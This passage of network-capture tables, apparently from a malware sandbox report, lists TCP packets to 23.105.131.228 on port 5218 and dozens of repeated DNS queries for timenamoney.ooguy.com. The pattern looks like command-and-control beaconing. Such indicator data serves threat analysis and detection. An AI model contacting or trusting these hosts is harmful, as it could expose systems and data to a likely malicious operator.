May 25, 2022 16:34:33.679559946 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.679610968 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.679723978 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.679810047 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.679934978 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.679980993 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.680078983 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.680176020 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.726761103 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.933193922 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.933516979 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.957000017 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.957081079 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.957288980 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.957297087 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.957525969 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.957674980 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.957750082 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.957748890 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.957932949 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.960268974 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.960341930 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.960407019 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.960637093 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.960700989 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.960767984 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.960922956 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:33.960952044 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.960999966 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:33.961249113 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:34.093957901 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:34.400240898 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:34.634701014 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:34.647761106 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:34.928360939 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:34.931606054 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:35.188549042 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:35.188729048 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:35.444427967 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:35.445336103 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:35.771610022 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:35.772397041 CEST	49851	5218	192.168.11.20	23.105.131.228
May 25, 2022 16:34:36.072380066 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:36.244631052 CEST	5218	49851	23.105.131.228	192.168.11.20
May 25, 2022 16:34:36.288774967 CEST	49851	5218	192.168.11.20	23.105.131.228

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 25, 2022 16:26:44.294316053 CEST	62931	53	192.168.11.20	1.1.1.1
May 25, 2022 16:26:44.302737951 CEST	53	62931	1.1.1.1	192.168.11.20
May 25, 2022 16:26:46.367461920 CEST	53387	53	192.168.11.20	8.8.8.8
May 25, 2022 16:26:46.496171951 CEST	53	53387	8.8.8.8	192.168.11.20
May 25, 2022 16:26:52.816283941 CEST	63239	53	192.168.11.20	8.8.8.8
May 25, 2022 16:26:52.945810080 CEST	53	63239	8.8.8.8	192.168.11.20
May 25, 2022 16:26:59.184536934 CEST	57535	53	192.168.11.20	8.8.8.8
May 25, 2022 16:26:59.338793039 CEST	53	57535	8.8.8.8	192.168.11.20
May 25, 2022 16:27:04.361658096 CEST	54725	53	192.168.11.20	8.8.8.8
May 25, 2022 16:27:04.488585949 CEST	53	54725	8.8.8.8	192.168.11.20
May 25, 2022 16:27:10.737051010 CEST	53791	53	192.168.11.20	8.8.8.8
May 25, 2022 16:27:10.899472952 CEST	53	53791	8.8.8.8	192.168.11.20
May 25, 2022 16:27:15.688030005 CEST	55218	53	192.168.11.20	8.8.8.8
May 25, 2022 16:27:15.850781918 CEST	53	55218	8.8.8.8	192.168.11.20
May 25, 2022 16:27:22.073961020 CEST	64450	53	192.168.11.20	8.8.8.8
May 25, 2022 16:27:22.081876040 CEST	53	64450	8.8.8.8	192.168.11.20
May 25, 2022 16:27:28.181730986 CEST	55369	53	192.168.11.20	8.8.8.8
May 25, 2022 16:27:28.192369938 CEST	53	55369	8.8.8.8	192.168.11.20
May 25, 2022 16:27:34.461391926 CEST	50323	53	192.168.11.20	8.8.8.8
May 25, 2022 16:27:34.591183901 CEST	53	50323	8.8.8.8	192.168.11.20
May 25, 2022 16:27:40.725691080 CEST	51490	53	192.168.11.20	8.8.8.8
May 25, 2022 16:27:40.733918905 CEST	53	51490	8.8.8.8	192.168.11.20
May 25, 2022 16:27:47.006557941 CEST	53452	53	192.168.11.20	8.8.8.8
May 25, 2022 16:27:47.015320063 CEST	53	53452	8.8.8.8	192.168.11.20
May 25, 2022 16:27:53.191957951 CEST	63009	53	192.168.11.20	8.8.8.8
May 25, 2022 16:27:53.202756882 CEST	53	63009	8.8.8.8	192.168.11.20
May 25, 2022 16:27:59.378154993 CEST	58861	53	192.168.11.20	8.8.8.8
May 25, 2022 16:27:59.388636112 CEST	53	58861	8.8.8.8	192.168.11.20
May 25, 2022 16:28:05.682673931 CEST	52232	53	192.168.11.20	8.8.8.8
May 25, 2022 16:28:05.690783024 CEST	53	52232	8.8.8.8	192.168.11.20
May 25, 2022 16:28:12.031229973 CEST	61223	53	192.168.11.20	8.8.8.8
May 25, 2022 16:28:12.041929960 CEST	53	61223	8.8.8.8	192.168.11.20
May 25, 2022 16:28:18.295643091 CEST	52068	53	192.168.11.20	8.8.8.8
May 25, 2022 16:28:18.306184053 CEST	53	52068	8.8.8.8	192.168.11.20
May 25, 2022 16:28:24.420706034 CEST	52388	53	192.168.11.20	8.8.8.8
May 25, 2022 16:28:24.431077003 CEST	53	52388	8.8.8.8	192.168.11.20
May 25, 2022 16:28:30.605170965 CEST	52473	53	192.168.11.20	8.8.8.8
May 25, 2022 16:28:30.613787889 CEST	53	52473	8.8.8.8	192.168.11.20
May 25, 2022 16:28:36.791363955 CEST	49904	53	192.168.11.20	8.8.8.8
May 25, 2022 16:28:36.799427032 CEST	53	49904	8.8.8.8	192.168.11.20
May 25, 2022 16:28:42.868261099 CEST	57492	53	192.168.11.20	8.8.8.8
May 25, 2022 16:28:42.878732920 CEST	53	57492	8.8.8.8	192.168.11.20
May 25, 2022 16:28:49.038645029 CEST	51411	53	192.168.11.20	8.8.8.8
May 25, 2022 16:28:49.049251080 CEST	53	51411	8.8.8.8	192.168.11.20
May 25, 2022 16:28:55.272304058 CEST	60764	53	192.168.11.20	8.8.8.8
May 25, 2022 16:28:55.440484047 CEST	53	60764	8.8.8.8	192.168.11.20
May 25, 2022 16:29:01.583784103 CEST	51546	53	192.168.11.20	8.8.8.8
May 25, 2022 16:29:01.592559099 CEST	53	51546	8.8.8.8	192.168.11.20
May 25, 2022 16:29:08.785187960 CEST	60507	53	192.168.11.20	8.8.8.8
May 25, 2022 16:29:08.795510054 CEST	53	60507	8.8.8.8	192.168.11.20
May 25, 2022 16:29:15.173650026 CEST	54566	53	192.168.11.20	8.8.8.8
May 25, 2022 16:29:15.184284925 CEST	53	54566	8.8.8.8	192.168.11.20
May 25, 2022 16:29:21.250252962 CEST	55321	53	192.168.11.20	8.8.8.8
May 25, 2022 16:29:21.377964020 CEST	53	55321	8.8.8.8	192.168.11.20
May 25, 2022 16:29:27.640067101 CEST	52439	53	192.168.11.20	8.8.8.8
May 25, 2022 16:29:27.807087898 CEST	53	52439	8.8.8.8	192.168.11.20
May 25, 2022 16:29:33.935833931 CEST	60723	53	192.168.11.20	8.8.8.8
May 25, 2022 16:29:34.096745968 CEST	53	60723	8.8.8.8	192.168.11.20
May 25, 2022 16:29:40.324234009 CEST	55523	53	192.168.11.20	8.8.8.8
May 25, 2022 16:29:40.486520052 CEST	53	55523	8.8.8.8	192.168.11.20
May 25, 2022 16:29:46.620007038 CEST	58321	53	192.168.11.20	8.8.8.8
May 25, 2022 16:29:46.630523920 CEST	53	58321	8.8.8.8	192.168.11.20
May 25, 2022 16:29:52.790397882 CEST	53383	53	192.168.11.20	8.8.8.8
May 25, 2022 16:29:52.801234961 CEST	53	53383	8.8.8.8	192.168.11.20
May 25, 2022 16:29:58.883038998 CEST	49429	53	192.168.11.20	8.8.8.8
May 25, 2022 16:29:58.893316031 CEST	53	49429	8.8.8.8	192.168.11.20
May 25, 2022 16:30:05.147823095 CEST	64781	53	192.168.11.20	8.8.8.8
May 25, 2022 16:30:05.157944918 CEST	53	64781	8.8.8.8	192.168.11.20
May 25, 2022 16:30:11.270606041 CEST	51844	53	192.168.11.20	8.8.8.8
May 25, 2022 16:30:11.281208992 CEST	53	51844	8.8.8.8	192.168.11.20
May 25, 2022 16:30:17.457462072 CEST	62673	53	192.168.11.20	8.8.8.8
May 25, 2022 16:30:17.467778921 CEST	53	62673	8.8.8.8	192.168.11.20
May 25, 2022 16:30:23.627393007 CEST	57403	53	192.168.11.20	8.8.8.8
May 25, 2022 16:30:23.638602972 CEST	53	57403	8.8.8.8	192.168.11.20
May 25, 2022 16:30:29.829863071 CEST	60626	53	192.168.11.20	8.8.8.8
May 25, 2022 16:30:29.840244055 CEST	53	60626	8.8.8.8	192.168.11.20
May 25, 2022 16:30:35.937011957 CEST	52608	53	192.168.11.20	8.8.8.8
May 25, 2022 16:30:36.066773891 CEST	53	52608	8.8.8.8	192.168.11.20
May 25, 2022 16:30:42.171180010 CEST	54126	53	192.168.11.20	8.8.8.8
May 25, 2022 16:30:42.179620981 CEST	53	54126	8.8.8.8	192.168.11.20
May 25, 2022 16:30:48.327826977 CEST	64698	53	192.168.11.20	8.8.8.8
May 25, 2022 16:30:48.338567972 CEST	53	64698	8.8.8.8	192.168.11.20
May 25, 2022 16:30:54.433226109 CEST	54527	53	192.168.11.20	8.8.8.8
May 25, 2022 16:30:54.441349030 CEST	53	54527	8.8.8.8	192.168.11.20
May 25, 2022 16:31:00.697048903 CEST	60596	53	192.168.11.20	8.8.8.8
May 25, 2022 16:31:00.705347061 CEST	53	60596	8.8.8.8	192.168.11.20
May 25, 2022 16:31:06.883343935 CEST	56132	53	192.168.11.20	8.8.8.8
May 25, 2022 16:31:07.013132095 CEST	53	56132	8.8.8.8	192.168.11.20
May 25, 2022 16:31:13.178734064 CEST	59942	53	192.168.11.20	8.8.8.8
May 25, 2022 16:31:13.189310074 CEST	53	59942	8.8.8.8	192.168.11.20
May 25, 2022 16:31:19.365053892 CEST	62913	53	192.168.11.20	8.8.8.8
May 25, 2022 16:31:19.375124931 CEST	53	62913	8.8.8.8	192.168.11.20
May 25, 2022 16:31:25.644725084 CEST	56397	53	192.168.11.20	8.8.8.8
May 25, 2022 16:31:25.805777073 CEST	53	56397	8.8.8.8	192.168.11.20
May 25, 2022 16:31:31.940423965 CEST	54921	53	192.168.11.20	8.8.8.8
May 25, 2022 16:31:32.110677958 CEST	53	54921	8.8.8.8	192.168.11.20
May 25, 2022 16:31:38.173533916 CEST	52799	53	192.168.11.20	8.8.8.8
May 25, 2022 16:31:38.184058905 CEST	53	52799	8.8.8.8	192.168.11.20
May 25, 2022 16:31:44.343802929 CEST	61327	53	192.168.11.20	8.8.8.8
May 25, 2022 16:31:44.471309900 CEST	53	61327	8.8.8.8	192.168.11.20
May 25, 2022 16:31:50.576800108 CEST	63878	53	192.168.11.20	8.8.8.8
May 25, 2022 16:31:50.743858099 CEST	53	63878	8.8.8.8	192.168.11.20
May 25, 2022 16:31:56.872627974 CEST	50031	53	192.168.11.20	8.8.8.8
May 25, 2022 16:31:56.881262064 CEST	53	50031	8.8.8.8	192.168.11.20
May 25, 2022 16:32:03.043845892 CEST	59902	53	192.168.11.20	8.8.8.8
May 25, 2022 16:32:03.054253101 CEST	53	59902	8.8.8.8	192.168.11.20
May 25, 2022 16:32:09.275831938 CEST	50875	53	192.168.11.20	8.8.8.8
May 25, 2022 16:32:09.286408901 CEST	53	50875	8.8.8.8	192.168.11.20
May 25, 2022 16:32:15.399728060 CEST	50036	53	192.168.11.20	8.8.8.8
May 25, 2022 16:32:15.408425093 CEST	53	50036	8.8.8.8	192.168.11.20
May 25, 2022 16:32:21.585504055 CEST	61638	53	192.168.11.20	8.8.8.8
May 25, 2022 16:32:21.595853090 CEST	53	61638	8.8.8.8	192.168.11.20
May 25, 2022 16:32:27.928093910 CEST	62089	53	192.168.11.20	8.8.8.8
May 25, 2022 16:32:27.938632965 CEST	53	62089	8.8.8.8	192.168.11.20
May 25, 2022 16:32:34.176703930 CEST	57308	53	192.168.11.20	8.8.8.8
May 25, 2022 16:32:34.333075047 CEST	53	57308	8.8.8.8	192.168.11.20
May 25, 2022 16:32:39.036358118 CEST	54139	53	192.168.11.20	8.8.8.8
May 25, 2022 16:32:39.044857025 CEST	53	54139	8.8.8.8	192.168.11.20
May 25, 2022 16:32:45.330924988 CEST	54688	53	192.168.11.20	8.8.8.8
May 25, 2022 16:32:45.341310978 CEST	53	54688	8.8.8.8	192.168.11.20
May 25, 2022 16:32:51.440654993 CEST	61173	53	192.168.11.20	8.8.8.8
May 25, 2022 16:32:51.451075077 CEST	53	61173	8.8.8.8	192.168.11.20
May 25, 2022 16:32:57.562170029 CEST	55655	53	192.168.11.20	8.8.8.8
May 25, 2022 16:32:57.570897102 CEST	53	55655	8.8.8.8	192.168.11.20
May 25, 2022 16:33:03.803839922 CEST	51825	53	192.168.11.20	8.8.8.8
May 25, 2022 16:33:03.813878059 CEST	53	51825	8.8.8.8	192.168.11.20
May 25, 2022 16:33:10.075063944 CEST	62263	53	192.168.11.20	8.8.8.8
May 25, 2022 16:33:10.239430904 CEST	53	62263	8.8.8.8	192.168.11.20
May 25, 2022 16:33:16.386579037 CEST	54182	53	192.168.11.20	8.8.8.8
May 25, 2022 16:33:16.397475004 CEST	53	54182	8.8.8.8	192.168.11.20
May 25, 2022 16:33:22.603480101 CEST	61917	53	192.168.11.20	8.8.8.8
May 25, 2022 16:33:22.613768101 CEST	53	61917	8.8.8.8	192.168.11.20
May 25, 2022 16:33:28.774039984 CEST	50888	53	192.168.11.20	8.8.8.8
May 25, 2022 16:33:28.782891035 CEST	53	50888	8.8.8.8	192.168.11.20
May 25, 2022 16:33:34.850794077 CEST	57715	53	192.168.11.20	8.8.8.8
May 25, 2022 16:33:35.018151045 CEST	53	57715	8.8.8.8	192.168.11.20
May 25, 2022 16:33:41.100344896 CEST	51694	53	192.168.11.20	8.8.8.8
May 25, 2022 16:33:41.227715969 CEST	53	51694	8.8.8.8	192.168.11.20
May 25, 2022 16:33:47.316979885 CEST	62367	53	192.168.11.20	8.8.8.8
May 25, 2022 16:33:47.327317953 CEST	53	62367	8.8.8.8	192.168.11.20
May 25, 2022 16:33:53.440607071 CEST	49982	53	192.168.11.20	8.8.8.8
May 25, 2022 16:33:53.451368093 CEST	53	49982	8.8.8.8	192.168.11.20
May 25, 2022 16:33:59.580002069 CEST	53227	53	192.168.11.20	8.8.8.8
May 25, 2022 16:33:59.590660095 CEST	53	53227	8.8.8.8	192.168.11.20
May 25, 2022 16:34:05.688107014 CEST	58115	53	192.168.11.20	8.8.8.8
May 25, 2022 16:34:05.696618080 CEST	53	58115	8.8.8.8	192.168.11.20
May 25, 2022 16:34:11.811841011 CEST	60270	53	192.168.11.20	8.8.8.8
May 25, 2022 16:34:11.941778898 CEST	53	60270	8.8.8.8	192.168.11.20
May 25, 2022 16:34:18.046516895 CEST	57262	53	192.168.11.20	8.8.8.8
May 25, 2022 16:34:18.178221941 CEST	53	57262	8.8.8.8	192.168.11.20
May 25, 2022 16:34:24.324470997 CEST	53721	53	192.168.11.20	8.8.8.8
May 25, 2022 16:34:24.335089922 CEST	53	53721	8.8.8.8	192.168.11.20
May 25, 2022 16:34:30.510663986 CEST	49168	53	192.168.11.20	8.8.8.8
May 25, 2022 16:34:30.640336990 CEST	53	49168	8.8.8.8	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 25, 2022 16:26:44.294316053 CEST	192.168.11.20	1.1.1.1	0xf6b9	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
May 25, 2022 16:26:46.367461920 CEST	192.168.11.20	8.8.8.8	0xebfb	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:26:52.816283941 CEST	192.168.11.20	8.8.8.8	0x5b53	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:26:59.184536934 CEST	192.168.11.20	8.8.8.8	0xd3df	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:27:04.361658096 CEST	192.168.11.20	8.8.8.8	0x3fb6	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:27:10.737051010 CEST	192.168.11.20	8.8.8.8	0x5e69	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:27:15.688030005 CEST	192.168.11.20	8.8.8.8	0xb1e2	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:27:22.073961020 CEST	192.168.11.20	8.8.8.8	0x20ad	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:27:28.181730986 CEST	192.168.11.20	8.8.8.8	0x83b7	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:27:34.461391926 CEST	192.168.11.20	8.8.8.8	0xf5a	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:27:40.725691080 CEST	192.168.11.20	8.8.8.8	0x1815	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:27:47.006557941 CEST	192.168.11.20	8.8.8.8	0x9821	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:27:53.191957951 CEST	192.168.11.20	8.8.8.8	0xd799	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:27:59.378154993 CEST	192.168.11.20	8.8.8.8	0xc091	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:28:05.682673931 CEST	192.168.11.20	8.8.8.8	0x4c7b	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:28:12.031229973 CEST	192.168.11.20	8.8.8.8	0x7da8	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:28:18.295643091 CEST	192.168.11.20	8.8.8.8	0x6467	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:28:24.420706034 CEST	192.168.11.20	8.8.8.8	0x9c5e	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:28:30.605170965 CEST	192.168.11.20	8.8.8.8	0xe652	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:28:36.791363955 CEST	192.168.11.20	8.8.8.8	0x69aa	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:28:42.868261099 CEST	192.168.11.20	8.8.8.8	0xbcf3	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:28:49.038645029 CEST	192.168.11.20	8.8.8.8	0x7b94	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:28:55.272304058 CEST	192.168.11.20	8.8.8.8	0x4aed	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:29:01.583784103 CEST	192.168.11.20	8.8.8.8	0x673a	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:29:08.785187960 CEST	192.168.11.20	8.8.8.8	0x2518	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:29:15.173650026 CEST	192.168.11.20	8.8.8.8	0xcc90	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:29:21.250252962 CEST	192.168.11.20	8.8.8.8	0x1d53	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:29:27.640067101 CEST	192.168.11.20	8.8.8.8	0xa835	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:29:33.935833931 CEST	192.168.11.20	8.8.8.8	0x8893	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:29:40.324234009 CEST	192.168.11.20	8.8.8.8	0x36c5	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:29:46.620007038 CEST	192.168.11.20	8.8.8.8	0x801f	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:29:52.790397882 CEST	192.168.11.20	8.8.8.8	0x5513	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:29:58.883038998 CEST	192.168.11.20	8.8.8.8	0x407c	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:30:05.147823095 CEST	192.168.11.20	8.8.8.8	0x52c4	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:30:11.270606041 CEST	192.168.11.20	8.8.8.8	0x62a3	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:30:17.457462072 CEST	192.168.11.20	8.8.8.8	0x8ee0	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:30:23.627393007 CEST	192.168.11.20	8.8.8.8	0x32ef	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:30:29.829863071 CEST	192.168.11.20	8.8.8.8	0xf9a3	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:30:35.937011957 CEST	192.168.11.20	8.8.8.8	0x55fe	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:30:42.171180010 CEST	192.168.11.20	8.8.8.8	0xb5a9	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:30:48.327826977 CEST	192.168.11.20	8.8.8.8	0x47a9	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:30:54.433226109 CEST	192.168.11.20	8.8.8.8	0xabf7	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:31:00.697048903 CEST	192.168.11.20	8.8.8.8	0x93de	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:31:06.883343935 CEST	192.168.11.20	8.8.8.8	0x190b	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:31:13.178734064 CEST	192.168.11.20	8.8.8.8	0x768b	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:31:19.365053892 CEST	192.168.11.20	8.8.8.8	0x92b4	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:31:25.644725084 CEST	192.168.11.20	8.8.8.8	0x7181	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:31:31.940423965 CEST	192.168.11.20	8.8.8.8	0xfb4	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:31:38.173533916 CEST	192.168.11.20	8.8.8.8	0xf893	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:31:44.343802929 CEST	192.168.11.20	8.8.8.8	0x18ad	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:31:50.576800108 CEST	192.168.11.20	8.8.8.8	0x6536	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:31:56.872627974 CEST	192.168.11.20	8.8.8.8	0x3578	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:32:03.043845892 CEST	192.168.11.20	8.8.8.8	0xfdea	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:32:09.275831938 CEST	192.168.11.20	8.8.8.8	0xff54	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:32:15.399728060 CEST	192.168.11.20	8.8.8.8	0xf934	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:32:21.585504055 CEST	192.168.11.20	8.8.8.8	0xdc73	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:32:27.928093910 CEST	192.168.11.20	8.8.8.8	0x34d0	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:32:34.176703930 CEST	192.168.11.20	8.8.8.8	0x48fb	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:32:39.036358118 CEST	192.168.11.20	8.8.8.8	0x4d81	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:32:45.330924988 CEST	192.168.11.20	8.8.8.8	0x8b6d	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:32:51.440654993 CEST	192.168.11.20	8.8.8.8	0x303a	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:32:57.562170029 CEST	192.168.11.20	8.8.8.8	0xb887	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:33:03.803839922 CEST	192.168.11.20	8.8.8.8	0x8bd9	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:33:10.075063944 CEST	192.168.11.20	8.8.8.8	0xfb23	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:33:16.386579037 CEST	192.168.11.20	8.8.8.8	0x5147	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:33:22.603480101 CEST	192.168.11.20	8.8.8.8	0x35e1	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:33:28.774039984 CEST	192.168.11.20	8.8.8.8	0x2bf2	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:33:34.850794077 CEST	192.168.11.20	8.8.8.8	0x3567	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:33:41.100344896 CEST	192.168.11.20	8.8.8.8	0xa9ea	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:33:47.316979885 CEST	192.168.11.20	8.8.8.8	0x2152	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:33:53.440607071 CEST	192.168.11.20	8.8.8.8	0xf225	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:33:59.580002069 CEST	192.168.11.20	8.8.8.8	0x7d83	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:34:05.688107014 CEST	192.168.11.20	8.8.8.8	0x1d45	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:34:11.811841011 CEST	192.168.11.20	8.8.8.8	0xa2f8	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:34:18.046516895 CEST	192.168.11.20	8.8.8.8	0x7e06	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:34:24.324470997 CEST	192.168.11.20	8.8.8.8	0x2966	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)
May 25, 2022 16:34:30.510663986 CEST	192.168.11.20	8.8.8.8	0x57e6	Standard query (0)	timenamoney.ooguy.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
